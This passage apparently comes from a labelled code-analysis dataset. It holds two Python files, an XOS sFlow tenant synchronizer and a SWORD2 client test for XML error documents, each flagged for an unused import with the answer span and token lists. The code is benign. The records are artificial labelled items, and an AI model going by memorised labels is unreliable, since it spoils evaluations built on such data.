import run_template_ssh", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 55 }, { "span": "from core.models import Service, Slice, ControllerSlice, ControllerUser", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 71 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "F_", ",_", "Q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "config_", "import_", "Config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "synchronize", "rs_", "._", "base_", "._", "sync", "step_", "import_", "Sync", "Step_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "synchronize", "rs_", "._", "base_", "._", "ansible_", "import_", "run", "\\u", "template", "\\u", "ssh_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "synchronize", "rs_", "._", "base_", "._", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", "import_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "core_", "._", "models_", "import_", "Service_", ",_", "Slice_", ",_", "Controlle", "r", "Slice_", ",_", "Controlle", "r", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "services_", "._", "ceilometer", "_", "._", "models_", "import_", "SF", "low", "Service_", ",_", "SF", "low", "Ten", "ant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "xo", "s_", "._", "logger_", "import_", "Logger_", ",_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "hp", "clib", "rar", "y", " ", "will", " ", "be", " ", "in", " ", "step", "s", "/.", "._", "\\u\\u\\uNL\\u\\u\\u_", "parent", "dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", "dirname_", "(_", "\\u\\u", "file\\u\\u_", ")_", ",_", "\"..\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "path_", "._", "insert_", "(_", "0_", ",_", "parent", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "=_", "Logger_", "(_", "level_", "=_", "logging_", "._", "INFO_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "provides_", "=_", "[_", "SF", "low", "Ten", "ant_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "observe", "s_", "=_", "SF", "low", "Ten", "ant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "ed", "\\u", "interval_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "template", "\\u", "name_", "=_", "\"", "sync", "\\u", "sfl", "ow", "tenan", "t", ".", "yaml", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service", "\\u", "key", "\\u", "name_", "=_", "\"/", "opt", "/", "xo", "s", "/", "synchronize", "rs", "/", "monitorin", "g", "\\u", "channel", "/", "monitorin", "g", "\\u", "channel", "\\u", "private", "\\u", "key", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Sync", "SF", "low", "Ten", "ant_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "fetch", "\\u", "pending_", "(_", "self_", ",_", "deleted_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "deleted_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "objs_", "=_", "SF", "low", "Ten", "ant_", "._", "get", "\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "._", "filter_", "(_", "Q_", "(_", "ena", "cte", "d\\u", "\\u", "lt_", "=_", "F_", "(_", "'", "update", "d", "'_", ")_", ")_", "|_", "Q_", "(_", "ena", "cte", "d_", "=_", "None_", ")_", ",_", "Q_", "(_", "lazy", "\\u", "blocked_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "objs_", "=_", "SF", "low", "Ten", "ant_", "._", "get", "\\u", "delete", "d\\u", "tenan", "t", "\\u", "objects_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "objs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "sfl", "ow", "\\u", "service_", "(_", "self_", ",_", "o_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sfl", "ows_", "=_", "SF", "low", "Service_", "._", "get", "\\u", "service", "\\u", "objects_", "(_", ")_", "._", "filter_", "(_", "id_", "=_", "o_", "._", "provide", "r", "\\u", "service_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "sfl", "ows_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\"", "No", " ", "associate", "d", " ", "SF", "low", " ", "service", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sfl", "ows_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "instance_", "(_", "self_", ",_", "o_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "assume", " ", "the", " ", "SF", "low", " ", "service", " ", "owns", " ", "a", " ", "slice", ",", " ", "so", " ", "pick", " ", "one", " ", "of", " ", "the", " ", "instances_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insi", "de", " ", "tha", "t", " ", "slice", " ", "to", " ", "sync", " ", "to", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "serv_", "=_", "self_", "._", "get", "\\u", "sfl", "ow", "\\u", "service_", "(_", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "serv_", "._", "slices_", "._", "exists_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice_", "=_", "serv_", "._", "slices_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "slice_", "._", "instances_", "._", "exists_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "slice_", "._", "instances_", "._", "all_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "extra", "\\u", "attributes_", "(_", "self_", ",_", "o_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "instance_", "=_", "self_", "._", "get", "\\u", "instance_", "(_", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fields_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "[_", "\"", "sfl", "ow", "\\u", "api", "\\u", "base", "\\u", "url", "\"_", "]_", "=_", "self_", "._", "get", "\\u", "sfl", "ow", "\\u", "service_", "(_", "o_", ")_", "._", "sfl", "ow", "\\u", "api", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "[_", "\"", "sfl", "ow", "\\u", "api", "\\u", "port", "\"_", "]_", "=_", "self_", "._", "get", "\\u", "sfl", "ow", "\\u", "service_", "(_", "o_", ")_", "._", "sfl", "ow", "\\u", "api", "\\u", "port_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "[_", "\"", "listen", "ing", "\\u", "endpoint", "\"_", "]_", "=_", "o_", "._", "listen", "ing", "\\u", "endpoint_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fields_", "[_", "\"", "sfl", "ow", "\\u", "container", "\"_", "]_", "=_", "\"", "sfl", "ow", "pubs", "ub", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "fields_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sync", "\\u", "fields_", "(_", "self_", ",_", "o_", ",_", "fields_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "super", " ", "caus", "es", " ", "the", " ", "playbook", " ", "to", " ", "be", " ", "run_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Sync", "SF", "low", "Ten", "ant_", ",_", "self_", ")_", "._", "sync", "\\u", "fields_", "(_", "o_", ",_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run", "\\u", "playbook", "_", "(_", "self_", ",_", "o_", ",_", "fields_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Sync", "SF", "low", "Ten", "ant_", ",_", "self_", ")_", "._", "run", "\\u", "playbook", "_", "(_", "o_", ",_", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sync", "SF", "low", "Ten", "ant_", "(_", "Sync", "Insta", "nce", "Us", "ing", "Ans", "ible_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
swordapp/python-client-sword2/tests/functional/test_error_document.py
[ { "content": "from . import TestController\n\nfrom sword2.error_document import Error_Document\nfrom sword2.utils import NS\n\nED = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<sword:error xmlns=\"http://www.w3.org/2005/Atom\"\n xmlns:sword=\"http://purl.org/net/sword/terms/\"\n xmlns:arxiv=\"http://arxiv.org/schemas/atom\"\n href=\"http://example.org/errors/BadManifest\">\n <author>\n <name>Example repository</name>\n </author>\n <title>ERROR</title>\n <updated>2008-02-19T09:34:27Z</updated>\n\n <generator uri=\"https://example.org/sword-app/\"\n version=\"0.9\">sword@example.org</generator>\n\n <summary>The manifest could be parsed, but was not valid - \n no technical metadata was provided.</summary>\n <sword:treatment>processing failed</sword:treatment>\n <sword:verboseDescription>\n Exception at [ ... ]\n </sword:verboseDescription>\n <link rel=\"alternate\" href=\"https://arxiv.org/help\" type=\"text/html\"/>\n\n</sword:error>\n\"\"\"\n\nED2 = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<sword:error xmlns=\"http://www.w3.org/2005/Atom\"\n xmlns:sword=\"http://purl.org/net/sword/terms/\"\n xmlns:arxiv=\"http://arxiv.org/schemas/atom\"\n href=\"http://purl.org/net/sword/error/TargetOwnerUnknown\">\n <author>\n <name>Example repository</name>\n </author>\n <title>ERROR</title>\n <updated>2008-02-19T09:34:27Z</updated>\n\n <generator uri=\"https://example.org/sword-app/\"\n version=\"0.9\">sword@example.org</generator>\n\n <summary>The manifest could be parsed, but was not valid - \n no technical metadata was provided.</summary>\n <sword:treatment>processing failed</sword:treatment>\n <sword:verboseDescription>\n Exception at [ ... ]\n </sword:verboseDescription>\n <link rel=\"alternate\" href=\"https://arxiv.org/help\" type=\"text/html\"/>\n\n</sword:error>\n\"\"\"\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestEntry(TestController):\n \n \n \n \n ", "metadata": "root.TestEntry", "header": "['module', '___EOS___']", "index": 55 }, { "content": " def test_00_blank_init(self):\n error_d = Error_Document(code=402, resp={'content-type':'text/plain'})\n assert error_d.code == 402\n assert error_d.response_headers['content-type'] == 'text/plain'", "metadata": "root.TestEntry.test_00_blank_init", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 56 }, { "content": " def test_01_init_with_xml(self):\n error_d = Error_Document(ED)\n assert error_d.error_href == \"http://example.org/errors/BadManifest\"\n assert error_d.title == \"ERROR\"\n assert error_d.summary == \"\"\"The manifest could be parsed, but was not valid - \n no technical metadata was provided.\"\"\"\n print error_d.metadata\n assert error_d.verbose_description[0].strip() == \"\"\"Exception at [ ... ]\"\"\", error_d.verbose_description", "metadata": "root.TestEntry.test_01_init_with_xml", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 61 }, { "content": " def test_02_error_info(self):\n error_d = Error_Document(ED)\n # Error href is not a known SWORD2 error\n assert error_d.error_info['IRI'] == \"http://example.org/errors/BadManifest\"\n assert error_d.error_info['name'] == \"UNKNOWNERROR\"", "metadata": "root.TestEntry.test_02_error_info", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 70 }, { "content": " def test_03_init_with_known_error_iri(self):\n error_d = Error_Document(ED2)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"TargetOwnerUnknown\"", "metadata": "root.TestEntry.test_03_init_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 76 }, { "content": " def test_04_validate_code_with_known_error_iri(self):\n error_d = Error_Document(ED2, code=403)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"TargetOwnerUnknown\"\n assert error_d.error_info['codes'] == [403]", "metadata": "root.TestEntry.test_04_validate_code_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 81 }, { "content": " def test_04_invalid_code_with_known_error_iri(self):\n error_d = Error_Document(ED2, code=499)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"UNKNOWNERROR\"\n assert error_d.error_info['codes'] == [499]", "metadata": "root.TestEntry.test_04_invalid_code_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 87 } ]
[ { "span": "from sword2.utils import NS", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 27 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "._", "import_", "Test", "Controller_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sword", "2_", "._", "error", "\\u", "document_", "import_", "Error", "\\u", "Document_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sword", "2_", "._", "utils_", "import_", "NS_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ED_", "=_", "\"\"\"", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "encoding", "=\"", "utf", "-", "8", "\"?", ">", "\\", "10", ";<", "sword", ":", "error", " ", "xml", "ns", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "2005", "/", "Atom", "\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "sword", "=\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "term", "s", "/\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "arx", "iv", "=\"", "http", "://", "arx", "iv", ".", "org", "/", "schema", "s", "/", "atom", "\"", "\\", "10", ";", " ", " ", " ", "href", "=\"", "http", "://", "example", ".", "org", "/", "error", "s", "/", "Ba", "d", "Manifest", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "author", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "name", ">", "Exam", "ple", " ", "repos", "itor", "y", "</", "name", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "author", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "title", ">", "ERROR", "</", "title", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "update", "d", ">", "2008", "-0", "2", "-1", "9", "T", "09", ":", "3", "4", ":", "2", "7", "Z", "</", "update", "d", ">", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "<", "generat", "or", " ", "uri", "=\"", "https", "://", "example", ".", "org", "/", "sword", "-", "app", "/\"", "\\", "10", ";", " ", " ", " ", "version", "=\"", "0.", "9", "\">", "sword", "@", "example", ".", "org", "</", "generat", "or", ">", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "<", "summar", "y", ">", "The", " ", "manifest", " ", "coul", "d", " ", "be", " ", "parsed", ",", " ", "but", " ", "was", " ", "not", " ", "valid", " ", "-", " ", "\\", "10", ";", " ", " ", " ", " ", "no", " ", "technical", " ", "metadata", " ", "was", " ", "provided", ".", "</", "summar", "y", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "sword", ":", "treatment", ">", "process", "ing", " ", "fail", "ed", "</", "sword", ":", "treatment", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "sword", ":", "verbo", "se", "Descripti", "on", ">", "\\", "10", ";", " ", " ", " ", " ", "Except", "ion", " ", "at", " ", "[", " ", "...", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "</", "sword", ":", "verbo", "se", "Descripti", "on", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "link", " ", "rel", "=\"", "alternat", "e", "\"", " ", "href", "=\"", "https", "://", "arx", "iv", ".", "org", "/", "help", "\"", " ", "type", "=\"", "text", "/", "html", "\"/>", "\\", "10", ";", "\\", "10", ";<", "/", "sword", ":", "error", ">", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ED", "2_", "=_", "\"\"\"", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "encoding", "=\"", "utf", "-", "8", "\"?", ">", "\\", "10", ";<", "sword", ":", "error", " ", "xml", "ns", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "2005", "/", "Atom", "\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "sword", "=\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "term", "s", "/\"", "\\", "10", ";", " ", " ", " ", "xml", "ns", ":", "arx", "iv", "=\"", "http", "://", "arx", "iv", ".", "org", "/", "schema", "s", "/", "atom", "\"", "\\", "10", ";", " ", " ", " ", "href", "=\"", "http", "://", "pur", "l", ".", "org", "/", "net", "/", "sword", "/", "error", "/", "Target", "Owne", "r", "Un", "know", "n", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "author", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "name", ">", "Exam", "ple", " ", "repos", "itor", "y", "</", "name", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "author", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "title", ">", "ERROR", "</", "title", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "update", "d", ">", "2008", "-0", "2", "-1", "9", "T", "09", ":", "3", "4", ":", "2", "7", "Z", "</", "update", "d", ">", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "<", "generat", "or", " ", "uri", "=\"", "https", "://", "example", ".", "org", "/", "sword", "-", "app", "/\"", "\\", "10", ";", " ", " ", " ", "version", "=\"", "0.", "9", "\">", "sword", "@", "example", ".", "org", "</", "generat", "or", ">", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "<", "summar", "y", ">", "The", " ", "manifest", " ", "coul", "d", " ", "be", " ", "parsed", ",", " ", "but", " ", "was", " ", "not", " ", "valid", " ", "-", " ", "\\", "10", ";", " ", " ", " ", " ", "no", " ", "technical", " ", "metadata", " ", "was", " ", "provided", ".", "</", "summar", "y", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "sword", ":", "treatment", ">", "process", "ing", " ", "fail", "ed", "</", "sword", ":", "treatment", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "sword", ":", "verbo", "se", "Descripti", "on", ">", "\\", "10", ";", " ", " ", " ", " ", "Except", "ion", " ", "at", " ", "[", " ", "...", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "</", "sword", ":", "verbo", "se", "Descripti", "on", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "link", " ", "rel", "=\"", "alternat", "e", "\"", " ", "href", "=\"", "https", "://", "arx", "iv", ".", "org", "/", "help", "\"", " ", "type", "=\"", "text", "/", "html", "\"/>", "\\", "10", ";", "\\", "10", ";<", "/", "sword", ":", "error", ">", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "00", "\\u", "blank", "\\u", "init_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "code_", "=_", "402", "_", ",_", "resp_", "=_", "{_", "'", "content", "-", "type", "'_", ":_", "'", "text", "/", "plain", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "code_", "==_", "402", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "response", "\\u", "headers_", "[_", "'", "content", "-", "type", "'_", "]_", "==_", "'", "text", "/", "plain", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Entry_", "(_", "Test", "Controller_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "01", "\\u", "init", "\\u", "with", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error", "\\u", "d_", "=_", "Error", "\\u", "Document_", "(_", "ED_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "error", "\\u", "href_", "==_", "\"", "http", "://", "example", ".", "org", "/", "error", "s", "/", "Ba", "d", "Manifest", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "title_", "==_", "\"", "ERROR", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "summary_", "==_", "\"\"\"", "The", " ", "manifest", " ", "coul", "d", " ", "be", " ", "parsed", ",", " ", "but", " ", "was", " ", "not", " ", "valid", " ", "-", " ", "\\", "10", ";", " ", " ", " ", " ", "no", " ", "technical", " ", "metadata", " ", "was", " ", "provided", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "error", "\\u", "d_", "._", "metadata_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "error", "\\u", "d_", "._", "verbo", "se", "\\u", "description_", "[_", "0_", "]_", "._", "strip_", "(_", ")_", "==_", "\"\"\"", "Except", "ion", " ", "at", " ", "[", " ", "...", " ", "]\"", "\"\"_", ",_", "error", "\\u", "d_", "._", "verbo", "se", "\\u", "description_", 